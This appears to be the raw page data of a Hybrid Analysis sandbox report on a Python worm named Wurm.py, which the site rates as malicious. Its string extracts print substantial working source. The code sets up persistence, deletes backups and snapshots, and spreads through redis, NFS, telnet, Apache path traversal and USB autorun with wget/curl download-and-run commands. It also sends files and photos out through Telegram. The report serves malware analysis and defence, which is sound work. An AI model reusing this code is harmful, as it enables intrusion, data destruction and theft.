34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 7b:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T41e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 78342041f9f4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 78342041f9f4…. Threat score 100/100. 0/24 AV engines flagged this file. 12 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99"],"about":{"@type":"SoftwareApplication","name":"Wurm.py","applicationCategory":["script","python"],"identifier":"78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":24},"behavioralIndicators":{"malicious":12,"suspicious":28},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:Taa6,file/memory contains long string with (Indicator: "open"; Source: "sample.bin"), file/memory contains long string with (Indicator: "chmod"; Source: "sample.bin"), file/memory contains long string with (Indicator: "close"; Source: "sample.bin"), file/memory contains long string with (Indicator: "connect"; Source: "sample.bin"), file/memory contains long string with (Indicator: "creat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "socket"; Source: "sample.bin"), file/memory contains long string with (Indicator: "time"; Source: "sample.bin"), file/memory contains long string with (Indicator: "kill"; Source: "sample.bin"), file/memory contains long string with (Indicator: "bind"; Source: "sample.bin"), file/memory contains long string with (Indicator: "read"; Source: "sample.bin"), file/memory contains long string with (Indicator: "write"; Source: "sample.bin"), file/memory contains long string with (Indicator: "fstat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "stat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "prctl"; Source: "sample.bin"), file/memory contains long string with (Indicator: "tee"; Source: "sample.bin"), file/memory contains long string with (Indicator: "recvfrom"; Source: "sample.bin"), file/memory contains long string with (Indicator: "sendto"; Source: "sample.bin"), file/memory contains long string with (Indicator: "geteuid"; Source: "sample.bin"), file/memory contains long string with (Indicator: "poll"; Source: "sample.bin"), file/memory contains long string with (Indicator: "setsockopt"; Source: "sample.bin"), file/memory contains long string with (Indicator: "mount"; Source: "sample.bin"), file/memory contains long string with (Indicator: "security"; Source: "sample.bin"), file/memory contains long string with (Indicator: "setsid"; Source: "sample.bin"), file/memory contains long string with (Indicator: "shutdown"; Source: "sample.bin"), file/memory contains long string with (Indicator: "listen"; Source: "sample.bin"), file/memory contains long string with (Indicator: "reboot"; Source: "sample.bin"), file/memory contains long string with (Indicator: "accept"; Source: "sample.bin"), file/memory contains long string with (Indicator: "getsockname"; Source: "sample.bin"), file/memory contains long string with (Indicator: "rmdir"; Source: "sample.bin"), file/memory contains long string with (Indicator: "exit"; Source: "sample.bin"), file/memory contains long string with (Indicator: "pause"; Source: "sample.bin"), file/memory contains long string with (Indicator: "getpid"; Source: "sample.bin"), file/memory contains long string with (Indicator: "access"; Source: "sample.bin")37:T832,"c.sendall(("K9|" + NID).encode()) except OSError as e: log("alive %s" % e) finally: c.close() srv.close() def persist(): me = os.path.abspath(__file__) if WIN: ad = os.environ.get("APPDATA", "C:\\ProgramData") dst = os.path.join(ad, "Microsoft", "Windows", "Caches", "svc.py") try: os.makedirs(os.path.dirname(dst), exist_ok=True) shutil.copy2(me, dst) except OSError as e: log("wcopy %s" % e) dst = me exe = sys.executable[:-10] + "pythonw.exe" if sys.executable.lower().endswith("python.exe") else sys.executable sh('schtasks /create /tn WinSvcHost /tr "\'%s\' \'%s\'" /sc minute /mo 5 /f' % (exe, dst)) sh('reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WinSvcHost /t REG_SZ /d "\'%s\' \'%s\'" /f' % (exe, dst)) st = os.path.join(ad, "Microsoft", "Windows", "Start Menu", "Programs", "Startup") try: os.makedirs(st," in Source: sample.bin, "add HKLM\\SYSTEM\\CurrentControlSet\\Control\\BackupRestore /v DisableSR /t REG_DWORD /d 1 /f"): out.append(sh(c, 60).strip()) return out for c in ("lvremove -f $(lvs --noheadings -o lv_path 2>/dev/null | tr -d ' ') 2>/dev/null", "zfs list -H -o name -t snapshot 2>/dev/null | xargs -r -n1 zfs destroy", "btrfs subvolume list / 2>/dev/null | awk '{print $2}' | xargs -r -n1 btrfs subvolume delete 2>/dev/null"): out.append(sh(c, 60).strip()) for d in ("/var/backups", "/backup", "/srv/backup", "/mnt/backup", "/opt/backup"): if os.path.isdir(d): sh("rm -rf %s/*" % d, 60) out.append("geleert " + d) for pat in ("*.bak", "*.backup", "*.tar.gz", "*.sql.gz", "*.dump"): for root in ("/etc", "/root", "/home", "/srv", "/opt", "/var/lib"): if os.path.isdir(root): sh("find %s -name '%s' -delete 2>/dev/null" % (root, pat), 60) return out def removable(): roots = [] if WIN: " in Source: sample.bin38:T42c,"g", ".raw", ".dwg", ".sql", ".db", ".mdb", ".zip", ".tar", ".gz", ".bak", ".psd", ".ai", ".odt", ".eml", ".pst", ".vhd", ] SKIP_DIRS = ("/proc", "/sys", "/dev", "/run", "/usr/share", "/usr/lib", "/snap", "/boot/efi") TOOLS = { "nmap": ("nmap", "apt-get install -y -qq nmap", "Insecure.Nmap"), "masscan": ("masscan", "apt-get install -y -qq masscan", "Insecure.Masscan"), "hydra": ("hydra", "apt-get install -y -qq hydra", "hydra"), "sqlmap": ("sqlmap", "apt-get install -y -qq sqlmap", "sqlmap"), "nikto": ("nikto", "apt-get install -y -qq nikto", "nikto"), "gobuster": ("gobuster", "apt-get install -y -qq gobuster", "gobuster"), "ffuf": ("ffuf", "apt-get install -y -qq ffuf", "ffuf"), "tcpdump": ("tcpdump", "apt-get install -y -qq tcpdump", "WiresharkFoundation.Wireshark"), "tshark": ("tshark", "apt-get install -y -qq tshark", "WiresharkFoundation.Wireshark"), "socat": ("socat", "apt-get install -y -qq socat", "socat"), "nc": ("nc", "apt-get install -y -qq netcat-op" (Indicator: ".pst") in Source: sample.bin39:T2205,Observed string: " s.close() continue s.sendall(("cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; (python3 .k9 >/dev/null 2>&1 &); echo OK\r\n" % (url, url)).encode()) time.sleep(2) s.close() return True except OSError as e: log("telnetstep %s %s" % (ip, e)) s.close() return False def v_redis(ip): url = push_payload() if not url: return False def send(s, *a): o = b"*%d\r\n" % len(a) for x in a: xb = x.encode() o += b"$%d\r\n%s\r\n" % (len(xb), xb) s.sendall(o) time.sleep(0.3) return s.recv(8192) try: s = socket.create_connection((ip, 6379), 6) s.settimeout(5) s.sendall(b"PING\r\n") if b"PONG" not in s.recv(1024): s.close() return False send(s, "SET", "k9", "\n\n* * * * * root cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; pytho" (Indicator: " curl ") in Source: sample.bin, Observed string: " s.close() continue s.sendall(("cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; (python3 .k9 >/dev/null 2>&1 &); echo OK\r\n" % (url, url)).encode()) time.sleep(2) s.close() return True except OSError as e: log("telnetstep %s %s" % (ip, e)) s.close() return False def v_redis(ip): url = push_payload() if not url: return False def send(s, *a): o = b"*%d\r\n" % len(a) for x in a: xb = x.encode() o += b"$%d\r\n%s\r\n" % (len(xb), xb) s.sendall(o) time.sleep(0.3) return s.recv(8192) try: s = socket.create_connection((ip, 6379), 6) s.settimeout(5) s.sendall(b"PING\r\n") if b"PONG" not in s.recv(1024): s.close() return False send(s, "SET", "k9", "\n\n* * * * * root cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; pytho" (Indicator: "curl -") in Source: sample.bin, Observed string: "enbsd", "netcat"), "hping3": ("hping3", "apt-get install -y -qq hping3", "hping3"), "john": ("john", "apt-get install -y -qq john", "Openwall.John"), "hashcat": ("hashcat", "apt-get install -y -qq hashcat", "hashcat"), "aircrack-ng": ("aircrack-ng", "apt-get install -y -qq aircrack-ng", "aircrack-ng"), "curl": ("curl", "apt-get install -y -qq curl", "cURL.cURL"), "wget": ("wget", "apt-get install -y -qq wget", "wget"), "git": ("git", "apt-get install -y -qq git", "Git.Git"), "docker": ("docker", "apt-get install -y -qq docker.io", "Docker.DockerDesktop"), "sshd": ("sshd", "apt-get install -y -qq openssh-server", "OpenSSH.OpenSSH"), "node": ("node", "apt-get install -y -qq nodejs npm", "OpenJS.NodeJS"), "nfs-common": ("mount.nfs", "apt-get install -y -qq nfs-common", ""), "impacket": ("impacket-smbserver", "pip install --quiet impacket", ""), "paramiko": ("", "pip install --quiet paramiko", ""), "scapy": ("", "pip install --quiet scapy", ""), "request" (Indicator: ""curl") in Source: sample.bin, Observed string: "c", "cron.d"), exist_ok=True) with open(os.path.join(mnt, "etc", "cron.d", "k9"), "w") as f: f.write("* * * * * root cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; python3 .k9 >/dev/null 2>&1\n" % (url, url)) os.chmod(os.path.join(mnt, "etc", "cron.d", "k9"), 0o644) say("NFS %s:%s cron injiziert" % (ip, path)) except OSError as e: log("nfs write %s %s" % (e, path)) sh("umount %s" % mnt, 20) os.rmdir(mnt) return True return False def ex_pjl(ip, port=9100): try: s = socket.create_connection((ip, port), 6) s.settimeout(6) s.sendall(b"\x1b%-12345X@PJL INFO ID\r\n\x1b%-12345X\r\n") d = s.recv(512).decode(errors="replace") s.close() except OSError as e: log("pjl %s %s" % (ip, e)) return False if "@PJL" in d or "ID" in d: say("PJL-PRINTER %s %s" % (ip, d.replace("\r\n", " ")[:80])) return True return False " (Indicator: " curl ") in Source: sample.bin, Observed string: "c", "cron.d"), exist_ok=True) with open(os.path.join(mnt, "etc", "cron.d", "k9"), "w") as f: f.write("* * * * * root cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; python3 .k9 >/dev/null 2>&1\n" % (url, url)) os.chmod(os.path.join(mnt, "etc", "cron.d", "k9"), 0o644) say("NFS %s:%s cron injiziert" % (ip, path)) except OSError as e: log("nfs write %s %s" % (e, path)) sh("umount %s" % mnt, 20) os.rmdir(mnt) return True return False def ex_pjl(ip, port=9100): try: s = socket.create_connection((ip, port), 6) s.settimeout(6) s.sendall(b"\x1b%-12345X@PJL INFO ID\r\n\x1b%-12345X\r\n") d = s.recv(512).decode(errors="replace") s.close() except OSError as e: log("pjl %s %s" % (ip, e)) return False if "@PJL" in d or "ID" in d: say("PJL-PRINTER %s %s" % (ip, d.replace("\r\n", " ")[:80])) return True return False " (Indicator: "curl -") in Source: sample.bin, Observed string: "settimeout(t) try: h = "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n" % (method, path, ip) for k, v in (hdr or {}).items(): h += "%s: %s\r\n" % (k, v) h += "Content-Length: %d\r\n\r\n" % len(body) s.sendall(h.encode() + body) d = b"" while len(d) < 200000: c = s.recv(8192) if not c: break d += c return d.decode(errors="replace") finally: s.close() def web_cmd(ip, port, runner): url = push_payload() if not url: return False cmd = "cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; (setsid python3 .k9 >/dev/null 2>&1 &)" % (url, url) try: return runner(cmd) except Exception as e: log("webcmd %s %s" % (ip, e)) return False def ex_apache(ip, port): for pre in (".%2e/%2e%2e/%2e%2e/%2e%2e", ".%%32%65/.%%32%65/.%%32%65/.%%32%65"): path = "/cgi-bin/" " (Indicator: " curl ") in Source: sample.bin, Observed string: "settimeout(t) try: h = "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n" % (method, path, ip) for k, v in (hdr or {}).items(): h += "%s: %s\r\n" % (k, v) h += "Content-Length: %d\r\n\r\n" % len(body) s.sendall(h.encode() + body) d = b"" while len(d) < 200000: c = s.recv(8192) if not c: break d += c return d.decode(errors="replace") finally: s.close() def web_cmd(ip, port, runner): url = push_payload() if not url: return False cmd = "cd /tmp; (wget -q -O .k9 '%s' || curl -s -o .k9 '%s'); chmod +x .k9; (setsid python3 .k9 >/dev/null 2>&1 &)" % (url, url) try: return runner(cmd) except Exception as e: log("webcmd %s %s" % (ip, e)) return False def ex_apache(ip, port): for pre in (".%2e/%2e%2e/%2e%2e/%2e%2e", ".%%32%65/.%%32%65/.%%32%65/.%%32%65"): path = "/cgi-bin/" " (Indicator: "curl -") in Source: sample.bin, Observed string: "s": ("", "pip install --quiet requests", ""), "psutil": ("", "pip install --quiet psutil", ""), } PIP_NEED = (("cryptography", "cryptography"), ("paramiko", "paramiko"), ("impacket", "impacket")) APT_NEED = "nfs-common curl wget python3-pip" WL_URLS = ( "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Default-Credentials/default-passwords.txt", "https://raw.githubusercontent.com/scadastrangelove/SCADAPASS/master/scadapass.csv", "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt", ) WL_USERS = ["admin", "root", "user", "administrator", "guest", "support", "ubnt", "pi", "cisco", "service"] HELP = """BEFEHLE /list alle Knoten /devices [art] nach Art filtern (win/linux/router/camera/ics/printer/nas/iot) /update Statistik /info Selbstauskunft /exec Befehl auf Knoten /get D" (Indicator: " curl ") in Source: sample.bin3a:T433,Pattern match: "http://%s:2375", Heuristic match: "ge.jpg, /tmpfs/auto.jpg, /cgi-bin/snapshot.jpg, /snap.jpg, ] rtsp_paths = [ /, /streaming/channels/101, /cam/realmonitor?channel=1&subtype=0, /axis-media/media.amp, /live, /h264, /video1, /stream1, /1, /on", Pattern match: "http://([\d.]+):(\d+)(\s+)", Pattern match: "https://kubernetes.default.svc/api/v1/namespaces/default/pods", Pattern match: "https://%s.s3.amazonaws.com/?list-type=2", Pattern match: "http://schemas.xmlsoap.org/soap/envelope/", Pattern match: "http://%s%s", Pattern match: "https://api.telegram.org/bot%s/%s", Pattern match: "http://169.254.169.254/latest/meta-data/iam/security-credentials/", Pattern match: "login.jsp/..;/tmui/locallb/workspace/tmshcmd.jsp?command=list+auth+user", Pattern match: "http://%s:%d/k9.py", Pattern match: "https://api.telegram.org/bot%s/sendphoto", Pattern match: "https://raw.githubusercontent.com/danielmiessler/seclists/master/passwords/default-credentials/default-passwords.txt", Pattern match: "https://api.telegram.org/bot%s/senddocument"3b:Tc8b,Observed string: "= set() msg = ("M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nMAN:\"ssdp:discover\"\r\n" "MX:2\r\nST:ssdp:all\r\n\r\n").encode() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.settimeout(3) try: s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto(msg, ("239.255.255.250", 1900)) end = time.time() + 4 while time.time() < end: try: d, a = s.recvfrom(4096) except socket.timeout: break ips.add(a[0]) m = re.search(r"LOCATION:\s*http://([\d.]+):(\d+)(\S+)", d.decode(errors="replace"), re.I) if m: ips.add(m.group(1)) except OSError as e: log("ssdp %s" % e) finally: s.close() return ips def mdns_discover(): ips = set() q = b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" for name in (b"_services\x07_dns-sd\x04_udp\x05local\x00", b"_rtsp\x04_tcp\x05local\x00", b"_onvif\x04_tcp\x05loca" (Indicator: "setsockopt"), Observed string: "PORT_ALIVE)) s.sendall(b"K9?") return s.recv(64).startswith(b"K9|") except OSError: return False finally: s.close() def port_open(ip, p, t=0.7): s = socket.socket() s.settimeout(t) try: s.connect((ip, p)) return True except OSError: return False finally: s.close() def lan_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 53)) return s.getsockname()[0] except OSError: return "127.0.0.1" finally: s.close() def alive_server(): srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: srv.bind(("0.0.0.0", PORT_ALIVE)) srv.listen(64) except OSError as e: log("bind %s %s" % (PORT_ALIVE, e)) return while RUN: try: c, _ = srv.accept() except OSError as e: log("accept %s" % e) continue try: " (Indicator: "setsockopt"), Observed string: "e") as f: if float(f.read().split()[0]) < 900: score += 1 except (OSError, ValueError, IndexError) as e: log("uptime %s" % e) else: if "virtual" in sh("wmic computersystem get model", 20).lower(): score += 2 if "vmware" in sh("wmic bios get serialnumber", 20).lower(): score += 1 if (os.cpu_count() or 1) <= 2: score += 1 return score def traced(): if WIN: return False try: with open("/proc/self/status") as f: for line in f: if line.startswith("TracerPid:"): return int(line.split()[1]) != 0 except (OSError, ValueError, IndexError) as e: log("tracer %s" % e) return False def payload_server(): srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: srv.bind(("0.0.0.0", PORT_HTTP)) srv.listen(64) except OSError as e: log("psrv %s" % e) " (Indicator: "setsockopt")3c:T426,Found string " body = "" try: body = e.read().decode(errors="replace")[:200] except Exception: pass log("tg %s %s %s %s" % (method, e.code, e.reason, body)) if e.code == 403 and "blocked" in body.lower(): return {} if e.code == 400: return {} time.sleep(2 + i * 2) except Exception as e: log("tg %s %s" % (method, e)) time.sleep(2 + i * 2) return {} def multipart(fields, fname, fdata): b = "----k9" + str(jitter(100000, 999999)) out = b"" for k, v in fields.items(): out += ("--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%s\r\n" % (b, k, v)).encode() out += ("--%s\r\nContent-Disposition: form-data; name=\"document\"; filename=\"%s\"\r\nContent-Type: application/octet-stream\r\n\r\n" % (b, fname)).encode() out += fdata + ("\r\n--%s--\r\n" % b).encode() return out, "multipart/form-data; boundary=" + b def say(tx"; Source: "sample.bin")3d:T44b,file/memory contains long string with (Indicator: " roots = [c + ":\\" for c in "DEFGHIJKLMNOPQRSTUVWXYZ" if os.path.exists(c + ":\\")] else: for base in ("/media", "/run/media", "/mnt", "/media/%s" % getpass.getuser()): if os.path.isdir(base): roots += [os.path.join(base, e) for e in os.listdir(base) if os.path.ismount(os.path.join(base, e))] hits = [] for r in roots: try: dst = os.path.join(r, ".k9.py") if not os.path.exists(dst): shutil.copy2(os.path.abspath(__file__), dst) os.chmod(dst, 0o755) with open(os.path.join(r, "autorun.inf"), "w") as f: f.write("[autorun]\nopen=wscript.exe k9.vbs\n") with open(os.path.join(r, "k9.vbs"), "w") as f: f.write('Set s=CreateObject("WScript.Shell")\ns.Run "python \\"&Left(WScript.ScriptFullName,InStrRev(WScript.ScriptFullName,"\\"))&".k9.py\\"",0,False\n') hits.append(r) except OSError as e: log("usb %s %s" % (r, e)) "; Source: "sample.bin")3e:T44a,Found reference to API "t): global TG_FAIL, TG_OK, TG_DEAD_SINCE if not txt: return False if not TG_OK: if time.time() - TG_DEAD_SINCE < 300: return False TG_OK = True for i in range(0, len(txt), 3800): if not tg("sendMessage", chat_id=TG_CHAT, text=txt[i:i + 3800]): TG_FAIL += 1 if TG_FAIL >= 3: TG_OK = False TG_DEAD_SINCE = time.time() log("telegram stumm, 5min pause") return False TG_FAIL = 0 return True def resolve_chat(): global TG_CHAT if TG_CHAT and TG_CHAT != BOT_ID: return TG_CHAT if CFG.get("chat"): TG_CHAT = str(CFG["chat"]) return TG_CHAT r = tg("getUpdates", timeout=0) ids = [] for u in r.get("result", []): for key in ("message", "edited_message", "channel_post", "my_chat_member"): m = u.get(key) or {} cid = (m.get("chat") or {}).get("id") if cid and str(cid) != BOT_ID: " (Indicator: "sendmessage"; Source: "sample.bin")3f:Tc5e,"e user fehlgeschlagen, versuche --user") subprocess.run(base + ["--user"] + missing, capture_output=True, timeout=240) for mod, _ in PIP_NEED: try: __import__(mod) except ImportError as e: log("dep tot %s %s" % (mod, e)) if NIX and os.geteuid() == 0: need = [t for t in APT_NEED.split() if not shutil.which(t)] if need: log("apt: %s" % " ".join(need)) sh("apt-get install -y -qq -o Acquire::Retries=1 %s" % " ".join(need), 240) try: with open(DEP_MARK, "w") as f: f.write(str(time.time())) except OSError as e: log("depmark %s" % e) def tg(method, **kw): url = "https://api.telegram.org/bot%s/%s" % (TG_TOKEN, method) for i in range(3): try: with urllib.request.urlopen(url, urllib.parse.urlencode(kw).encode(), timeout=40) as r: return json.loads(r.read().decode()) except urllib.error.HTTPError as e: " (Indicator: "telegram.org"), "th(__file__)) kw = {"creationflags": 0x00000008} if WIN else {"start_new_session": True} subprocess.Popen([sys.executable, os.path.abspath(__file__)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kw) time.sleep(1) os._exit(0) def auth_get(url, u, p, digest=False, t=8): pm = urllib.request.HTTPPasswordMgrWithDefaultRealm() pm.add_password(None, url, u, p) h = urllib.request.HTTPDigestAuthHandler(pm) if digest else urllib.request.HTTPBasicAuthHandler(pm) with urllib.request.build_opener(h).open(url, timeout=t) as r: return r.read(), r.getcode() def send_photo(path, cap): try: with open(path, "rb") as f: data = f.read() body, ct = multipart({"chat_id": TG_CHAT, "caption": cap}, "cam.jpg", data) http("https://api.telegram.org/bot%s/sendPhoto" % TG_TOKEN, body, "POST", 90, {"Content-Type": ct}) return True except Exception as e: log("photo %s" % e) return False def rtsp(ip, port, path, u=None, p" (Indicator: "telegram.org"), "_CHAT}, "k9.py", mk_payload().encode()) try: r = json.loads(http("https://api.telegram.org/bot%s/sendDocument" % TG_TOKEN, body, "POST", 120, {"Content-Type": ct}).decode()) fid = r["result"]["document"]["file_id"] CFG["file_id"] = fid cfg_save() except Exception as e: log("upload %s" % e) return "" g = tg("getFile", file_id=fid) try: PURL = "https://api.telegram.org/file/bot%s/%s" % (TG_TOKEN, g["result"]["file_path"]) except KeyError as e: log("getfile %s %s" % (e, g)) return "" return PURL def mk_payload(): with open(os.path.abspath(__file__), "r", encoding="utf-8", errors="replace") as f: src = f.read() src = re.sub(r'^TG_TOKEN = ".*?"$', 'TG_TOKEN = "%s"' % TG_TOKEN, src, flags=re.M) src = re.sub(r'^PSK = ".*?"$', 'PSK = "%s"' % PSK, src, flags=re.M) return src def alive(ip): s = socket.socket() s.settimeout(3) try: s.connect((ip, " (Indicator: "telegram.org")40:Ta90,"python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-build-tracker-9jeorbo6 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-116kbahr (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-bajjxljk (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-stbaoihq (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-v6ab7d78 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-7vhp9gqk (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-56r183id (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-vj0y9bp2 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-q362kr73 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-45kz9ct2 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-k2erd6yj (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-ab6cd6_j (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-h757qty4 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-7h753rl6 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-mnekmxqk (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-34_0jozw (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-w07fanj2 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-40ryfwt2 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-x4cqt30r (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-5_u7o7ah (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-2_mvsv_f (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-pdulz098 (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-mtzkj3ea (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-flae8g5u (UID: 00000000-00007600) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-metadata-rs82_m71 (UID: 00000000-00007600)41:T70a,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API "IcmpSendEcho" (Indicator: "IcmpSendEcho"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp")42:Ta4d,file/memory contains long string with (Indicator: "Oid"; File: "dnspython-2.9.2-py3-none-any.whl") file/memory contains long string with (Indicator: "HKDF"; File: "tmpeqf7e__m") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Cipher\__pycache__\ARC2.cpython-311.pyc.2406" (Indicator: "RC2"; Source: "00000000-00007600-00000C59-1514871267") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Cipher\__pycache__\ARC2.cpython-311.pyc" (Indicator: "RC2"; Source: "00000000-00007600-00000C59-1514871267") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Hash\__pycache__\HMAC.cpython-311.pyc.240614" (Indicator: "HMAC"; Source: "00000000-00007600-00000C59-1515498148") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Hash\__pycache__\HMAC.cpython-311.pyc" (Indicator: "HMAC"; Source: "00000000-00007600-00000C59-1515498148") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Hash\__pycache__\SHA384.cpython-311.pyc.2406" (Indicator: "SHA384"; Source: "00000000-00007600-00000C59-1515713632") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Hash\__pycache__\SHA384.cpython-311.pyc" (Indicator: "SHA384"; Source: "00000000-00007600-00000C59-1515713632") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Hash\__pycache__\SHA512.cpython-311.pyc.2406" (Indicator: "SHA512"; Source: "00000000-00007600-00000C59-1515793857") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/Hash\__pycache__\SHA512.cpython-311.pyc" (Indicator: "SHA512"; Source: "00000000-00007600-00000C59-1515793857") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/SelfTest/Cipher\__pycache__\test_ARC2.cpytho" (Indicator: "RC2"; Source: "00000000-00007600-00000C59-1516814979") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/SelfTest/Hash\__pycache__\test_HMAC.cpython-" (Indicator: "HMAC"; Source: "00000000-00007600-00000C59-1517384931") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/SelfTest/Hash\__pycache__\test_SHA384.cpytho" (Indicator: "SHA384"; Source: "00000000-00007600-00000C59-1517574488") Found reference to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\Cryptodome/SelfTest/Hash\__pycache__\test_SHA512.cpytho" (Indicator: "SHA512"; Source: "00000000-00007600-00000C59-1517650791")43:T802,Found string - "taskkill /F /IM %s.exe" % n 12) 